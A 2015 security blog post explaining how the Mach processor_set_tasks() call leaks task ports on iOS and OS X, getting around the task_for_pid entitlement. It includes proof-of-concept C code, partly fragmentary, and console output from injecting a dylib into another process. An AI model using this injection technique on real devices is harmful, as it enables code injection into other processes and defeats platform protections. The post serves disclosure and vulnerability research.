Who needs task_for_pid() anyway...

processor_set_tasks() rears its vulnerable head - for the last time...?

Jonathan Levin, @Technologeeks - http://www.newosxbook.com/ - 08/20/15

the processor_set_tasks() vulnerability was revealed to the world as a 0-day not so long ago in BlackHat 2014. Funny enough, it was more accurately a -700-or-so day because pg 387 of MOXiI's 1st edition (from whenever it was published in 2012) describes the API in detail, and notes the leakage of kernel_task. Even funnier than that is that Pedro was the only one to actually notice this*, despite it being singled out in a nice little tip box :-). I've used it myself both in Process Explorer and coreruption, so it is kind of handy, I'll admit.

Pedro and those discovering it, however, only paid attention to the "grand prize" - kernel_task, which should never be accessible from user space, not even to root. In doing so, they missed the "runner ups" - Access to the task port of any other task in the system, circumventing task_for_pid entirely, even (and especially) on iOS, where it was enforced for quite a while.

As the reader likely knows, task_for_pid() is the magical Mach trap on which all injection APIs depend. You need a way to get the task port of a process in order to have fun with it (e.g. thread_create, mach_vm*, etc. If you look at my ARM64/x86_64 injection sample, it hinges on it, and fails miserably if you don't have that ability. On OS X, taskgated traditionally handles it (that popup from the dev tools asking when you try to debug), and as of 10.11 AMFI seems to be taking over). On iOS (and 10.11+), this requires the task_for_pid-allow, as enforced by the despicable AMFI.

Only I lied, kind of.

Using processor_set_tasks gets you ANY TASK PORT IN THE SYSTEM. So you can modify said sample , easily, to work like so:

// Apple says you need a task_for_pid-allow entitlement,
// And I say, bullshit.

mach_port_t task_for_pid_workaround(int Pid)
  host_t        myhost = mach_host_self(); // host self is host priv if you're root anyway..
  mach_port_t   psDefault;
  mach_port_t   psDefault_control;

  task_array_t  tasks; 
  mach_msg_type_number_t numTasks;
  int i;

   thread_array_t       threads;
   thread_info_data_t   tInfo;

  kern_return_t kr;

  kr = processor_set_default(myhost, &psDefault);

  kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); 
 if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr); 
		 mach_error("host_processor_set_priv",kr); exit(1);}

  printf("So far so good\n");

  kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); 
  if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }

  for (i = 0; i < numTasks; i++)
                int pid;
                pid_for_task(tasks[i], &pid);
                printf("TASK %d PID :%d\n", i,pid);
                if (pid == Pid) return (tasks[i]);

   return (MACH_PORT_NULL);
} // end workaround

int inject(pid_t pid, const char *lib) {

task_t remoteTask;

 kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {

        fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue! Or... Can We?\n",pid, 

        // Edit : calling workaround

        remoteTask = task_for_pid_workaround(pid);
        if (remoteTask == MACH_PORT_NULL) 
                fprintf(stderr, "Workaround isn't working. Bravo, 25+ years later, it's been patched\n");



And so, the output is:

# Note: WE STILL NEED ROOT ACCESS here - but no entitlements
Phontifex:/tmp root#  jtool --ent /tmp/inject2.arm 
Binary apparently does not contain any entitlements
Phontifex:/tmp root# /tmp/inject2.arm 829 /tmp/test.arm64.dylib 
Unable to call task_for_pid on pid 829: (os/kern) failure). Cannot continue! Or... Can We?
So far so good
TASK 0 PID :1   # Note no kernel_task, this is iOS
..              # ... but some 160 perfectly (ab)usable task ports
TASK 161 PID :829 # Bingo!
# Business as usual from here :-)
Allocated remote stack @0x1001b8000
Pthread exit  @198a0324c, 198a0324c
Pthread set self @198a02a9c
Pthread exit  @198a0324c, 198a0324c
DLOpen @19884db50
Remote Stack 64  0x100238000, Remote code is 0x1002b8000
# Note this is iOS 8.4
Phontifex:/tmp root# uname -a
Darwin Phontifex 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; 
root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin

So, AMFI, shmamfi - it works. It works great on OS X 10.10.x btw, but then versions prior to 10.11 don't enforce the entitlement, and so will vanilla task_for_pid() - the path of least resistance.

Why does this work?

Because Mach APIs don't differentiate between innocuous messages that a task port offers (say, the highly useful task_info ones), and the really, really nasty ones, like mach_vm_* and friends. This is (one of many) a design flaw in Mach, which was conceived with tons of functionality in mind, but, well, 25 or so years ago, who thought about all this injection stuff?!?!

It's worth reiterating: If you can somehow cajole someone or something to give you the task port of a given process (or the kernel, PID 0), you own it. Period. All it takes is just finding these port leaks. There may be one or two more. You never know with these things.

And why did you (sort of) lie? :~( And why expose this now?

I'm not in the habit of exposing 0-days for the 15 minutes of fame it entails or whatever bounty. But now this is one is finally dying (at least, in 9/10.11 it will be dead for sure). AAPL is *finally* on to this, and with 10.11 brings the task_for_pid-allow entitlement to OS X (*sigh*). processor_set_tasks is being tinkered with by them even as I write this, and already returns less** tasks in b7 (out today), so I can only assume it will be properly patched in iOS 9 10 as well (*grin*). And if it is.. well... there's still another couple of aces to use there, if TaiG doesn't blow them prematurely..

I've said tons of times before - and I'll say it again: I'm against exploitation of security vulnerabilities, but I'll do my damnedest to help keep iOS jailbreakable. The day it isn't, by others or by myself, I'm switching (painfully) to Android.


As usual, questions/comments are welcome, but via the forum, please.

* - On second thought, it's not *that* funny. It just shows how few people apparently read my work in detail. Sheesh.

** - note, "returns less" != "doesn't return any". AAPL uses a new MAC call - expose_task, on processor_set_things and mach_port_space_info (q.v. here) and there's the entitlement of com.apple.system-task-ports which filters. But may I suggest slapping a new entitlement (not just "system" tasks), or really fixing it, by separating task_priv already? And no, I don't mean the task name port. Split the functionality properly!)